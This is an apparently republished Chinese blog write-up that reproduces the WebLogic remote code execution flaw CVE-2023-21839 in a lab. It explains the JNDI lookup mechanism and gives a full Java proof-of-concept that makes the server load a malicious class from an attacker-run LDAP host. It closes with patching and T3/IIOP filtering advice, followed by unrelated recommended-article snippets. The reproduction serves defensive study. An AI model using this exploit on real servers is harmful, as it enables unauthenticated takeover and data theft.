WebLogic Server 远程代码执行漏洞复现 (CVE-2023-21839)

2023-11-11

1、产品简介

Oracle WebLogic Server是一个统一的可扩展平台,用于在本地和云端开发、部署和运行企业应用程序,例如 Java。WebLogic Server提供了Java Enterprise Edition (EE)和Jakarta EE的可靠、成熟和可扩展的实现。

WebLogic是美商Oracle的主要产品之一,系购并得来。是商业市场上主要的Java应用服务器软件之一,是世界上第一个成功商业化的J2EE应用服务器,目前已推出到14c版。而此产品也延伸出WebLogic Portal, WebLogic Integration等企业用的中间件,以及OEPE开发工具。

2、漏洞概述

WebLogic存在远程代码执行漏洞,该漏洞允许未经身份验证的远程攻击者通过T3/IIOP协议网络访问并破坏易受攻击的WebLogic服务器,成功利用此漏洞可能导致Oracle WebLogic服务器被接管或敏感信息泄露。

Weblogic T3/IIOP反序列化命令执行漏洞

Weblogic t3/iiop协议支持远程绑定对象bind到服务端。并且可以通过lookup查看,代码:c.lookup("xxxxxx");。

当远程对象继承自OpaqueReference时,lookup查看远程对象时,服务端会调用远程对象getReferent方法。

weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。

3、影响范围

Oracle WebLogic Server 12.2.1.3.0

Oracle WebLogic Server 12.2.1.4.0

Oracle WebLogic Server 14.1.1.0.0

4、复现环境

win10: 192.168.42.128

kali: 192.168.42.129

win10上搭建存在漏洞的WebLogic Server 12.2.1.3.0版本

环境搭建可以参考以下(很详细)

Oracle WebLogic12.2.1.3.0安装与配置(Windows)_风梧1994的博客-CSDN博客_weblogic 12.2.1.3.0

注意:JDNI注入由于其加载动态类原理是JNDI Reference远程加载Object Factory类的特性,在JDK 6u132, JDK 7u122, JDK 8u113版本中,系统属性com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。
在2018年10月,Java对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false。
因此,搭建此漏洞复现环境时jdk版本需要< jdk 8u191 。 (推荐jdk 8u112)

安装好环境验证一下本地是否可以访问

283806e8953c4710bc9ddebae0f4dd59.png

 5、漏洞复现

利用poc如下:

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class BindRce {
    static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
    private static InitialContext getInitialContext(String url)throws NamingException
    {
        Hashtable<String,String> env = new Hashtable<String,String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }
    //iiop
    public static void main(String args[]) throws Exception {
       InitialContext c=getInitialContext("t3://127.0.0.1:7001");
        Hashtable<String,String> env = new Hashtable<String,String>();

        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
        Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f,env);
        Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        remoteJNDIName.set(f,"ldap://xxxxxxxx/xxx");
        c.bind("xxxx",f);
        c.lookup("xxx");    }
}

注意: weblogic10 及以后的版本,不能直接使用server/lib 目录下的 weblogic.jar 了,需要手动执行一个命令生成手动生成 wlfullclient.jar,用来替代老版本中的 weblogic.jar。
具体命令如下(Windows 系统,我的 weblogic 安装目录是 C:\Oracle)

切换到C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib 下,执行java -jar C:\Oracle\Middleware\Oracle_Home\wlserver\modules\com.bea.core.jarbuilder.jar

cd C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib
java -jar C:\Oracle\Middleware\Oracle_Home\wlserver\modules\com.bea.core.jarbuilder.jar

#根据自己的路径去找包,生成wlfullclient.jar

fc5cfa872bf046a2a01a9a8eda38448a.png 

打开IEDA创建一个Java项目并本地导入生成的wlfullclient.jar

6ee7923f5ec44945ba10c0d9f1d78cd2.png

8a40fe01874b46f69d0e19352f989f86.png

0a5e79a8728b4ca38f04957844e9e452.png

 创建利用poc类,类名可自定义,并把里面的url都换成自己环境的;

kali开放LDAP和WEB服务,

6db7252034224f53bc4e22883874e16a.png 

执行poc,让目标加载恶意类造成RCE

0468fe042ea2488393372981f23c6da2.png

 等了几秒没有反应,查看漏洞环境,发现被360拦截了,可以看到要去远程加载恶意类,点击允许

c3da66e880bf4c33ac31f0b51cd67d03.png

9a4771b972b84a68902262c7c944ef91.png

d160e99e86da46eb85ad2dfd7807308b.png

复现成功 

6、修复建议

厂商已发布了漏洞修复补丁,下载链接:https://support.oracle.com/rs?type=doc&id=2917213.2

Oracle WebLogic Server补丁安装方式

1.Oracle WebLogic Server 11g:

bsu.cmd -install -patch_download_dir=C:\Oracle\Middleware\utils\bsu\cache_dir -patchlist=3L3H -prod_dir=C:\Oracle\Middleware\wlserver_10.3

2.Oracle WebLogic Server 12c:

使用opatch apply 安装补丁

C:\Oracle\Middleware\Oracle_Home\OPatch>opatch apply 本机补丁地址

注:补丁编号请自行更改为新补丁编号。

禁用T3、IIOP协议具体操作步骤如下:

1.禁用T3:

进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。

c0927814f6484149a1c076a2250e12aa.png

 在连接筛选器中输入:WebLogic.security.net.ConnectionFilterImpl,参考以下写法,在连接筛选器规则中配置符合企业实际情况的规则:

127.0.0.1 * * allow t3 t3s
本机IP * * allow t3 t3s
允许访问的IP * * allow t3 t3s 
* * * deny t3 t3s

b3a553620c0c4d74bc3c81256e7e00f8.png

连接筛选器规则格式如下:target localAddress localPort action protocols,其中:

target 指定一个或多个要筛选的服务器。

localAddress 可定义服务器的主机地址。(如果指定为一个星号 (*),则返回的匹配结果将是所有本地 IP 地址。)

localPort 定义服务器正在监听的端口。(如果指定了星号,则匹配返回的结果将是服务器上所有可用的端口)。

action 指定要执行的操作。(值必须为“allow”或“deny”。)

protocols 是要进行匹配的协议名列表。(必须指定下列其中一个协议:http、https、t3、t3s、giop、giops、dcom 或 ftp。) 如果未定义协议,则所有协议都将与一个规则匹配。

保存后若规则未生效,建议重新启动WebLogic服务(重启WebLogic服务会导致业务中断,建议相关人员评估风险后,再进行操作)。以Windows环境为例,重启服务的步骤如下:

进入域所在目录下的bin目录,在Windows系统中运行stopWebLogic.cmd文件终止WebLogic服务,Linux系统中则运行stopWebLogic.sh文件。

fe53f8e60a414b6bb3a39e2a289af993.png 

待终止脚本执行完成后,再运行startWebLogic.cmd或startWebLogic.sh文件启动WebLogic,即可完成WebLogic服务重启。

2.禁用IIOP:

经过测试,weblogic 12.1.3.0.0、weblogic 12.2.1.3.0(12c)、weblogic14.x(14c) 版本禁用IIOP协议的详细步骤如下:

登录weblogic后台之后,点开“域分区”—环境—服务器—“AdminServer(管理)”

455e16b69a464b9291b6a3adefd84753.png
d934e6c346c24b6998a3589b0c553ab7.png

 

 

 

 

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

WebLogic Server 远程代码执行漏洞复现 (CVE-2023-21839) 的相关文章

随机推荐

  • 一些开源的,好看的前端组件/样式库

    以下是一些受欢迎的开源 CSS 样式库 Bootstrap https getbootstrap com Materialize CSS https materializecss com Bulma https bulma io Found
  • linux下测试磁盘的读写IO速度

    使用dd命令 这不是一个专业的测试工具 不过如果对于测试结果的要求不是很苛刻的话 平时可以使用来对磁盘的读写速度作一个简单的评估 另外由于这是一个免费软件 基本上 NIX系统上都有安装 首先了解两个特殊设备 dev null 伪设备 回收站
  • 使用OpenCV-python对植物图片进行分类

    文章目录 图片分类的思路和需要加载的库函数说明 核心代码分析 数据预处理 文件处理和命名匹配 数据预处理 特征提取和标签提取 学习模型 数据划分和模型训练 预测输出 利用训练好的模型进行图片分类 完整代码附录和运行结果 图片分类的思路和需要
  • vmware无法打开内核设备 打开模块DevicePowerOn电源失败

    无法打开内核设备 VMCIDev VMX 重叠 I O 操作在进 行中 你想要在安装 VMware Workstation 前重启吗 打开模块DevicePowerOn电源失败 启动VM时报错如上 解决方法一 亲测可行 对虚拟机相对应的 v
  • 使用GetProcAddress获取C++重载函数

    GetProcAddress函数是用来在动态加载完动态链接库后 从链接库中获取函数地址的 它的用法如下 FARPROC GetProcAddress HMODULE hModule LPCSTR lpProcName hModule参数就是
  • Spring三级缓存详解

    Spring三级缓存是为了解决对象间的循环依赖问题 A依赖B B依赖A 这就是一个简单的循环依赖 我们来先看看三级缓存的源码 1 查看 获取Bean 的源码 注意getSingleton 方法 public class DefaultSin
  • PLSQL Developer安装和配置

    PLSQL Developer安装 下载安装地址 https www allroundautomations com registered plsqldev 1 自己选择合适版本 2 接下来默认安装即可 3 本地连接直接输入 4 远程连接需
  • Canvas 画布随机变换背景色

  • JavaScript获取当前时间函数封装

    JavaScript获取当前时间函数封装 function getNowDate var str var weekList 日 一 二 三 四 五 六 var date new Date var year date getFullYear
  • Labelme标注灰度图,执行出现错误:AssertionError: rgb must be 3 dimensional的解决方案

    labelme标注灰度图后 执行json to dataset之后 出现错误 AssertionError rgb must be 3 dimensional 解决办法 找到安装labelme的位置 找到json to dataset py
  • 二等分计算机打印机尺寸,电脑打印纸三种等分是什么尺寸

    满意答案 kimwk 2015 11 10 采纳率 55 等级 8 已帮助 6710人 打印纸一般规格有宽度为241mm的和381mm的 三等分就是341 381 3 而长边这边尺寸也是固定的 是280mm 一般长边长度可以分等分 有不分等
  • Movidius神经计算棒3-完整配置开发环境

    上面是我的微信和QQ群 欢迎新朋友的加入 cd ncsdk make install 这里有个题外话 英特尔这个玩意搞得不太友好 很多软件都有版本限制 高了或或者低了都要不得 这倒也没啥事 但是有个受影响的是 官方提供的make insta
  • 【Linux】系统下各个文件目录的作用

    目录名 作用 bin 普通用户的可执行文件 二进制 boot linux内核和系统启动文件 dev 设备文件 etc 系统配置文件 home 用户主目录 initrd 启动时挂在initrdimg映像文件 lib 共享库文件 lost fo
  • MySQL必知必会——第六章过滤数据

    过滤数据 本章将讲授如何使用SELECT语句的WHERE子句指定搜索条件 使用WHERE子句 数据库一般包含大量的数据 很少需要检索表中所有的行 通常只会根据需求来提取部分表数据 只检索所需数据需要指定搜索条件 search criteri
  • hdf5 简介、中文文档、中英对照文档 下载

    hdf5 文档 下载链接 含jar包 源码 pom 组件名称 中文 文档 下载链接 中英对照 文档 下载链接 hdf5 1 12 0 1 5 5 jar hdf5 1 12 0 1 5 5 API文档 中文版 zip hdf5 1 12 0
  • Android应用开发 一课一得

    Android是一种基于Linux平台开发的操作系统 Android应用开发这一门课 以项目为载体 以实做为手段 我通过学习和实践 对Android的开发流程 核心概念和常见技术有了基本的理解 在本学期的Android课程中 我首先学习了A
  • windows编译zookeeker动态库供C++链接使用以及遇到的错误处理方法

    windows下面C 链接zookeeper资料不多 特此记录一下 编译环境VS 2015 一 相关安装包安装下载 1 zookeeper zookeeper3 6 4 下载zip包解压即可 2 ant apache ant 1 9 16
  • 【实践5】Python pandas正则替换Excel表中单元格的标点符号等特殊符号

    简单介绍 这里举例替换特殊符号 有时在进行网页爬虫的时候会获取到一些含有特殊格式或符号的内容 但其中的符号像逗号 百分号这些并不是我们需要的 可以使用正则或是pandas将其替换掉 这个用例是使用正则的规则 通过pandas的apply函数
  • Unity3D_touch事件和点击事件

    现在要实现鼠标点击在哪个位置 物体就朝向哪里运动 所以是将两个部分融合到一起 1 物体的运动 2 鼠标的点击 if Input GetMouseButtonDown 0 0在PC上表示鼠标的左键 在手机上表示落下的第一个手指头 以此类推 好
  • WebLogic Server 远程代码执行漏洞复现 (CVE-2023-21839)

    1 产品简介 Oracle WebLogic Server是一个统一的可扩展平台 用于在本地和云端开发 部署和运行企业应用程序 例如 Java WebLogic Server提供了Java Enterprise Edition EE 和Ja